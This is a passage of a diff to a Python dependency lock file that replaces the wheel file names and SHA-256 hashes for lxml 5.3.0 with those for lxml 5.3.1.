"sha256:7b1cd427cb0d5f7393c31b7496419da594fe600e6fdc4b105a54f82405e6626c"}, - {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:51806cfe0279e06ed8500ce19479d757db42a30fd509940b1701be9c86a5ff9a"}, - {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ee70d08fd60c9565ba8190f41a46a54096afa0eeb8f76bd66f2c25d3b1b83005"}, - {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:8dc2c0395bea8254d8daebc76dcf8eb3a95ec2a46fa6fae5eaccee366bfe02ce"}, - {file = "lxml-5.3.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:6ba0d3dcac281aad8a0e5b14c7ed6f9fa89c8612b47939fc94f80b16e2e9bc83"}, - {file = "lxml-5.3.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:6e91cf736959057f7aac7adfc83481e03615a8e8dd5758aa1d95ea69e8931dba"}, - {file = "lxml-5.3.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:94d6c3782907b5e40e21cadf94b13b0842ac421192f26b84c45f13f3c9d5dc27"}, - {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c300306673aa0f3ed5ed9372b21867690a17dba38c68c44b287437c362ce486b"}, - {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:78d9b952e07aed35fe2e1a7ad26e929595412db48535921c5013edc8aa4a35ce"}, - {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:01220dca0d066d1349bd6a1726856a78f7929f3878f7e2ee83c296c69495309e"}, - {file = "lxml-5.3.0-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:2d9b8d9177afaef80c53c0a9e30fa252ff3036fb1c6494d427c066a4ce6a282f"}, - {file = "lxml-5.3.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:20094fc3f21ea0a8669dc4c61ed7fa8263bd37d97d93b90f28fc613371e7a875"}, - {file = "lxml-5.3.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ace2c2326a319a0bb8a8b0e5b570c764962e95818de9f259ce814ee666603f19"}, - {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:92e67a0be1639c251d21e35fe74df6bcc40cba445c2cda7c4a967656733249e2"}, - {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd5350b55f9fecddc51385463a4f67a5da829bc741e38cf689f38ec9023f54ab"}, - {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:4c1fefd7e3d00921c44dc9ca80a775af49698bbfd92ea84498e56acffd4c5469"}, - {file = "lxml-5.3.0-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:71a8dd38fbd2f2319136d4ae855a7078c69c9a38ae06e0c17c73fd70fc6caad8"}, - {file = "lxml-5.3.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:97acf1e1fd66ab53dacd2c35b319d7e548380c2e9e8c54525c6e76d21b1ae3b1"}, - {file = "lxml-5.3.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:68934b242c51eb02907c5b81d138cb977b2129a0a75a8f8b60b01cb8586c7b21"}, - {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b710bc2b8292966b23a6a0121f7a6c51d45d2347edcc75f016ac123b8054d3f2"}, - {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18feb4b93302091b1541221196a2155aa296c363fd233814fa11e181adebc52f"}, - {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:3eb44520c4724c2e1a57c0af33a379eee41792595023f367ba3952a2d96c2aab"}, - {file = "lxml-5.3.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:609251a0ca4770e5a8768ff902aa02bf636339c5a93f9349b48eb1f606f7f3e9"}, - {file = "lxml-5.3.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:516f491c834eb320d6c843156440fe7fc0d50b33e44387fcec5b02f0bc118a4c"}, - {file = "lxml-5.3.0.tar.gz", hash = "sha256:4e109ca30d1edec1ac60cdbe341905dc3b8f55b16855e03a54aaf59e51ec8c6f"}, + {file = "lxml-5.3.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:a4058f16cee694577f7e4dd410263cd0ef75644b43802a689c2b3c2a7e69453b"}, + {file = "lxml-5.3.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:364de8f57d6eda0c16dcfb999af902da31396949efa0e583e12675d09709881b"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:528f3a0498a8edc69af0559bdcf8a9f5a8bf7c00051a6ef3141fdcf27017bbf5"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:db4743e30d6f5f92b6d2b7c86b3ad250e0bad8dee4b7ad8a0c44bfb276af89a3"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:17b5d7f8acf809465086d498d62a981fa6a56d2718135bb0e4aa48c502055f5c"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:928e75a7200a4c09e6efc7482a1337919cc61fe1ba289f297827a5b76d8969c2"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5a997b784a639e05b9d4053ef3b20c7e447ea80814a762f25b8ed5a89d261eac"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:7b82e67c5feb682dbb559c3e6b78355f234943053af61606af126df2183b9ef9"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:f1de541a9893cf8a1b1db9bf0bf670a2decab42e3e82233d36a74eda7822b4c9"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:de1fc314c3ad6bc2f6bd5b5a5b9357b8c6896333d27fdbb7049aea8bd5af2d79"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:7c0536bd9178f754b277a3e53f90f9c9454a3bd108b1531ffff720e082d824f2"}, + {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:68018c4c67d7e89951a91fbd371e2e34cd8cfc71f0bb43b5332db38497025d51"}, + {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:aa826340a609d0c954ba52fd831f0fba2a4165659ab0ee1a15e4aac21f302406"}, + {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:796520afa499732191e39fc95b56a3b07f95256f2d22b1c26e217fb69a9db5b5"}, + {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3effe081b3135237da6e4c4530ff2a868d3f80be0bda027e118a5971285d42d0"}, + {file = "lxml-5.3.1-cp310-cp310-win32.whl", hash = "sha256:a22f66270bd6d0804b02cd49dae2b33d4341015545d17f8426f2c4e22f557a23"}, + {file = "lxml-5.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:0bcfadea3cdc68e678d2b20cb16a16716887dd00a881e16f7d806c2138b8ff0c"}, + {file = "lxml-5.3.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e220f7b3e8656ab063d2eb0cd536fafef396829cafe04cb314e734f87649058f"}, + {file = "lxml-5.3.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0f2cfae0688fd01f7056a17367e3b84f37c545fb447d7282cf2c242b16262607"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:67d2f8ad9dcc3a9e826bdc7802ed541a44e124c29b7d95a679eeb58c1c14ade8"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:db0c742aad702fd5d0c6611a73f9602f20aec2007c102630c06d7633d9c8f09a"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:198bb4b4dd888e8390afa4f170d4fa28467a7eaf857f1952589f16cfbb67af27"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d2a3e412ce1849be34b45922bfef03df32d1410a06d1cdeb793a343c2f1fd666"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2b8969dbc8d09d9cd2ae06362c3bad27d03f433252601ef658a49bd9f2b22d79"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:5be8f5e4044146a69c96077c7e08f0709c13a314aa5315981185c1f00235fe65"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:133f3493253a00db2c870d3740bc458ebb7d937bd0a6a4f9328373e0db305709"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:52d82b0d436edd6a1d22d94a344b9a58abd6c68c357ed44f22d4ba8179b37629"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:1b6f92e35e2658a5ed51c6634ceb5ddae32053182851d8cad2a5bc102a359b33"}, + {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:203b1d3eaebd34277be06a3eb880050f18a4e4d60861efba4fb946e31071a295"}, + {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:155e1a5693cf4b55af652f5c0f78ef36596c7f680ff3ec6eb4d7d85367259b2c"}, + {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22ec2b3c191f43ed21f9545e9df94c37c6b49a5af0a874008ddc9132d49a2d9c"}, + {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:7eda194dd46e40ec745bf76795a7cccb02a6a41f445ad49d3cf66518b0bd9cff"}, + {file = "lxml-5.3.1-cp311-cp311-win32.whl", hash = "sha256:fb7c61d4be18e930f75948705e9718618862e6fc2ed0d7159b2262be73f167a2"}, + {file = "lxml-5.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:c809eef167bf4a57af4b03007004896f5c60bd38dc3852fcd97a26eae3d4c9e6"}, + {file = "lxml-5.3.1-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:e69add9b6b7b08c60d7ff0152c7c9a6c45b4a71a919be5abde6f98f1ea16421c"}, + {file = "lxml-5.3.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:4e52e1b148867b01c05e21837586ee307a01e793b94072d7c7b91d2c2da02ffe"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4b382e0e636ed54cd278791d93fe2c4f370772743f02bcbe431a160089025c9"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c2e49dc23a10a1296b04ca9db200c44d3eb32c8d8ec532e8c1fd24792276522a"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4399b4226c4785575fb20998dc571bc48125dc92c367ce2602d0d70e0c455eb0"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5412500e0dc5481b1ee9cf6b38bb3b473f6e411eb62b83dc9b62699c3b7b79f7"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c93ed3c998ea8472be98fb55aed65b5198740bfceaec07b2eba551e55b7b9ae"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:63d57fc94eb0bbb4735e45517afc21ef262991d8758a8f2f05dd6e4174944519"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:b450d7cabcd49aa7ab46a3c6aa3ac7e1593600a1a0605ba536ec0f1b99a04322"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:4df0ec814b50275ad6a99bc82a38b59f90e10e47714ac9871e1b223895825468"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:d184f85ad2bb1f261eac55cddfcf62a70dee89982c978e92b9a74a1bfef2e367"}, + {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b725e70d15906d24615201e650d5b0388b08a5187a55f119f25874d0103f90dd"}, + {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:a31fa7536ec1fb7155a0cd3a4e3d956c835ad0a43e3610ca32384d01f079ea1c"}, + {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3c3c8b55c7fc7b7e8877b9366568cc73d68b82da7fe33d8b98527b73857a225f"}, + {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d61ec60945d694df806a9aec88e8f29a27293c6e424f8ff91c80416e3c617645"}, + {file = "lxml-5.3.1-cp312-cp312-win32.whl", hash = "sha256:f4eac0584cdc3285ef2e74eee1513a6001681fd9753b259e8159421ed28a72e5"}, + {file = "lxml-5.3.1-cp312-cp312-win_amd64.whl", hash = "sha256:29bfc8d3d88e56ea0a27e7c4897b642706840247f59f4377d81be8f32aa0cfbf"}, + {file = "lxml-5.3.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c093c7088b40d8266f57ed71d93112bd64c6724d31f0794c1e52cc4857c28e0e"}, + {file = "lxml-5.3.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b0884e3f22d87c30694e625b1e62e6f30d39782c806287450d9dc2fdf07692fd"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1637fa31ec682cd5760092adfabe86d9b718a75d43e65e211d5931809bc111e7"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a364e8e944d92dcbf33b6b494d4e0fb3499dcc3bd9485beb701aa4b4201fa414"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:779e851fd0e19795ccc8a9bb4d705d6baa0ef475329fe44a13cf1e962f18ff1e"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c4393600915c308e546dc7003d74371744234e8444a28622d76fe19b98fa59d1"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:673b9d8e780f455091200bba8534d5f4f465944cbdd61f31dc832d70e29064a5"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:2e4a570f6a99e96c457f7bec5ad459c9c420ee80b99eb04cbfcfe3fc18ec6423"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:71f31eda4e370f46af42fc9f264fafa1b09f46ba07bdbee98f25689a04b81c20"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:42978a68d3825eaac55399eb37a4d52012a205c0c6262199b8b44fcc6fd686e8"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:8b1942b3e4ed9ed551ed3083a2e6e0772de1e5e3aca872d955e2e86385fb7ff9"}, + {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:85c4f11be9cf08917ac2a5a8b6e1ef63b2f8e3799cec194417e76826e5f1de9c"}, + {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:231cf4d140b22a923b1d0a0a4e0b4f972e5893efcdec188934cc65888fd0227b"}, + {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5865b270b420eda7b68928d70bb517ccbe045e53b1a428129bb44372bf3d7dd5"}, + {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dbf7bebc2275016cddf3c997bf8a0f7044160714c64a9b83975670a04e6d2252"}, + {file = "lxml-5.3.1-cp313-cp313-win32.whl", hash = "sha256:d0751528b97d2b19a388b302be2a0ee05817097bab46ff0ed76feeec24951f78"}, + {file = "lxml-5.3.1-cp313-cp313-win_amd64.whl", hash = "sha256:91fb6a43d72b4f8863d21f347a9163eecbf36e76e2f51068d59cd004c506f332"}, + {file = "lxml-5.3.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:016b96c58e9a4528219bb563acf1aaaa8bc5452e7651004894a973f03b84ba81"}, + {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:82a4bb10b0beef1434fb23a09f001ab5ca87895596b4581fd53f1e5145a8934a"}, + {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3d68eeef7b4d08a25e51897dac29bcb62aba830e9ac6c4e3297ee7c6a0cf6439"}, + {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:f12582b8d3b4c6be1d298c49cb7ae64a3a73efaf4c2ab4e37db182e3545815ac"}, + {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:2df7ed5edeb6bd5590914cd61df76eb6cce9d590ed04ec7c183cf5509f73530d"}, + {file = "lxml-5.3.1-cp36-cp36m-musllinux_1_2_x86_64.whl", hash = "sha256:585c4dc429deebc4307187d2b71ebe914843185ae16a4d582ee030e6cfbb4d8a"}, + {file = "lxml-5.3.1-cp36-cp36m-win32.whl", hash = "sha256:06a20d607a86fccab2fc15a77aa445f2bdef7b49ec0520a842c5c5afd8381576"}, + {file = "lxml-5.3.1-cp36-cp36m-win_amd64.whl", hash = "sha256:057e30d0012439bc54ca427a83d458752ccda725c1c161cc283db07bcad43cf9"}, + {file = "lxml-5.3.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4867361c049761a56bd21de507cab2c2a608c55102311d142ade7dab67b34f32"}, + {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3dddf0fb832486cc1ea71d189cb92eb887826e8deebe128884e15020bb6e3f61"}, + {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1bcc211542f7af6f2dfb705f5f8b74e865592778e6cafdfd19c792c244ccce19"}, + {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaca5a812f050ab55426c32177091130b1e49329b3f002a32934cd0245571307"}, + {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:236610b77589faf462337b3305a1be91756c8abc5a45ff7ca8f245a71c5dab70"}, + {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:aed57b541b589fa05ac248f4cb1c46cbb432ab82cbd467d1c4f6a2bdc18aecf9"}, + {file = "lxml-5.3.1-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:75fa3d6946d317ffc7016a6fcc44f42db6d514b7fdb8b4b28cbe058303cb6e53"}, + {file = "lxml-5.3.1-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:96eef5b9f336f623ffc555ab47a775495e7e8846dde88de5f941e2906453a1ce"}, + {file = "lxml-5.3.1-cp37-cp37m-win32.whl", hash = "sha256:ef45f31aec9be01379fc6c10f1d9c677f032f2bac9383c827d44f620e8a88407"}, + {file = "lxml-5.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0611da6b07dd3720f492db1b463a4d1175b096b49438761cc9f35f0d9eaaef5"}, + {file = "lxml-5.3.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b2aca14c235c7a08558fe0a4786a1a05873a01e86b474dfa8f6df49101853a4e"}, + {file = "lxml-5.3.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae82fce1d964f065c32c9517309f0c7be588772352d2f40b1574a214bd6e6098"}, + {file = "lxml-5.3.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7aae7a3d63b935babfdc6864b31196afd5145878ddd22f5200729006366bc4d5"}, + {file = "lxml-5.3.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e8e0d177b1fe251c3b1b914ab64135475c5273c8cfd2857964b2e3bb0fe196a7"}, + {file = "lxml-5.3.1-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:6c4dd3bfd0c82400060896717dd261137398edb7e524527438c54a8c34f736bf"}, + {file = "lxml-5.3.1-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:f1208c1c67ec9e151d78aa3435aa9b08a488b53d9cfac9b699f15255a3461ef2"}, + {file = "lxml-5.3.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:c6aacf00d05b38a5069826e50ae72751cb5bc27bdc4d5746203988e429b385bb"}, + {file = "lxml-5.3.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:5881aaa4bf3a2d086c5f20371d3a5856199a0d8ac72dd8d0dbd7a2ecfc26ab73"}, + {file = "lxml-5.3.1-cp38-cp38-win32.whl", hash = "sha256:45fbb70ccbc8683f2fb58bea89498a7274af1d9ec7995e9f4af5604e028233fc"}, + {file = "lxml-5.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:7512b4d0fc5339d5abbb14d1843f70499cab90d0b864f790e73f780f041615d7"}, + {file = "lxml-5.3.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5885bc586f1edb48e5d68e7a4b4757b5feb2a496b64f462b4d65950f5af3364f"}, + {file = "lxml-5.3.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1b92fe86e04f680b848fff594a908edfa72b31bfc3499ef7433790c11d4c8cd8"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a091026c3bf7519ab1e64655a3f52a59ad4a4e019a6f830c24d6430695b1cf6a"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8ffb141361108e864ab5f1813f66e4e1164181227f9b1f105b042729b6c15125"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3715cdf0dd31b836433af9ee9197af10e3df41d273c19bb249230043667a5dfd"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88b72eb7222d918c967202024812c2bfb4048deeb69ca328363fb8e15254c549"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa59974880ab5ad8ef3afaa26f9bda148c5f39e06b11a8ada4660ecc9fb2feb3"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:3bb8149840daf2c3f97cebf00e4ed4a65a0baff888bf2605a8d0135ff5cf764e"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_ppc64le.whl", hash = "sha256:0d6b2fa86becfa81f0a0271ccb9eb127ad45fb597733a77b92e8a35e53414914"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_s390x.whl", hash = "sha256:136bf638d92848a939fd8f0e06fcf92d9f2e4b57969d94faae27c55f3d85c05b"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:89934f9f791566e54c1d92cdc8f8fd0009447a5ecdb1ec6b810d5f8c4955f6be"}, + {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a8ade0363f776f87f982572c2860cc43c65ace208db49c76df0a21dde4ddd16e"}, + {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:bfbbab9316330cf81656fed435311386610f78b6c93cc5db4bebbce8dd146675"}, + {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:172d65f7c72a35a6879217bcdb4bb11bc88d55fb4879e7569f55616062d387c2"}, + {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:e3c623923967f3e5961d272718655946e5322b8d058e094764180cdee7bab1af"}, + {file = "lxml-5.3.1-cp39-cp39-win32.whl", hash = "sha256:ce0930a963ff593e8bb6fda49a503911accc67dee7e5445eec972668e672a0f0"}, + {file = "lxml-5.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:f7b64fcd670bca8800bc10ced36620c6bbb321e7bc1214b9c0c0df269c1dddc2"}, + {file = "lxml-5.3.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:afa578b6524ff85fb365f454cf61683771d0170470c48ad9d170c48075f86725"}, + {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67f5e80adf0aafc7b5454f2c1cb0cde920c9b1f2cbd0485f07cc1d0497c35c5d"}, + {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2dd0b80ac2d8f13ffc906123a6f20b459cb50a99222d0da492360512f3e50f84"}, + {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:422c179022ecdedbe58b0e242607198580804253da220e9454ffe848daa1cfd2"}, + {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:524ccfded8989a6595dbdda80d779fb977dbc9a7bc458864fc9a0c2fc15dc877"}, + {file = "lxml-5.3.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:48fd46bf7155def2e15287c6f2b133a2f78e2d22cdf55647269977b873c65499"}, + {file = "lxml-5.3.1-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:05123fad495a429f123307ac6d8fd6f977b71e9a0b6d9aeeb8f80c017cb17131"}, + {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a243132767150a44e6a93cd1dde41010036e1cbc63cc3e9fe1712b277d926ce3"}, + {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c92ea6d9dd84a750b2bae72ff5e8cf5fdd13e58dda79c33e057862c29a8d5b50"}, + {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:2f1be45d4c15f237209bbf123a0e05b5d630c8717c42f59f31ea9eae2ad89394"}, + {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:a83d3adea1e0ee36dac34627f78ddd7f093bb9cfc0a8e97f1572a949b695cb98"}, + {file = "lxml-5.3.1-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:3edbb9c9130bac05d8c3fe150c51c337a471cc7fdb6d2a0a7d3a88e88a829314"}, + {file = "lxml-5.3.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:2f23cf50eccb3255b6e913188291af0150d89dab44137a69e14e4dcb7be981f1"}, + {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:df7e5edac4778127f2bf452e0721a58a1cfa4d1d9eac63bdd650535eb8543615"}, + {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:094b28ed8a8a072b9e9e2113a81fda668d2053f2ca9f2d202c2c8c7c2d6516b1"}, + {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:514fe78fc4b87e7a7601c92492210b20a1b0c6ab20e71e81307d9c2e377c64de"}, + {file = 